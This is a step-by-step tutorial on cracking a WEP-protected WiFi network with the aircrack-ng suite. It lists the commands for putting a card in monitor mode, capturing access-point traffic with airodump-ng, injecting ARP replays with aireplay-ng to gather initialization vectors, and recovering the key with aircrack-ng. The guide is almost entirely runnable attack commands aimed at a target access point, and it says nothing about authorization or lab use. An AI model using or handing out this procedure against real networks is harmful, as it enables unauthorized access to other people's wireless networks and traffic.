How to crack a WEP password

This guide will show the steps needed to cracking a WiFi network protected by a WEP key

The steps are the following:

1. **Run your network card in monitor mode**
2. **Sniff AP traffic**
3. **Send ARP Message in order to generate traffic with the AP**
4. **Crack the network**

The first thing we have to do is to set our network card in *monitor mode* which allows to monitor all traffic received on a wireless channel

1) Become administrator
   a) `sudo su`
2) Activate monitor mode on your WiFi network card
   a) `airmon-ng start <INTERFACE_NAME>`

Sniff AP Traffic

1) Install `aircrack-ng`
   a. `sudo apt install aircrack-ng`
2) Let's now start `airodump-ng` in order to obtain some useful information about `AP Name`, `Channel` and `BSSID`
   a. `airodump-ng <INTERFACE_NAME_MONITOR_MODE>`

3) Now we can start capturing some data using (again) `airodump-ng` command
   a. `airodump-ng -c <NUM_CHANNEL> --bssid <AP_MAC_ADDRESS> -w <OUTPUT_FILE_CAPTURE> <INTERFACE_NAME_MONITOR_MODE>`

Send ARP message to generate traffic on the AP

1) If we need to receive more traffic, we can use `aireplay-ng` command which allows us to send ARP requests from hosts to the AP. This utility will trigger traffic through AP giving us the right amount of Initialization Vector (IV) in order to retrieve the password
   a. `aireplay-ng -3 <INTERFACE_NAME_MONITOR_MODE> -b <AP_MAC_ADDRESS>`

Aireplay, in mode -3 will send ARP traffic at the hosts connected to the AP. This will trigger traffic through AP giving us the right amount of IV (Initialization Vector) in order to retrieve the password

Crack the network

Now it is time to retrieve password letting aireplay running. Airodump will continue to collect data and in the meantime aircrack will try to decrypt the password of the AP. So, we just need to wait until aircrack is able will complete its task.

1) In another terminal, we can run `aircrack-ng` (as superuser) in order to decrypt the network password

    a. `aircrack-ng <OUTPUT_FILE_CAPTURE>`

When the password will be discovered, aircrack will let us know!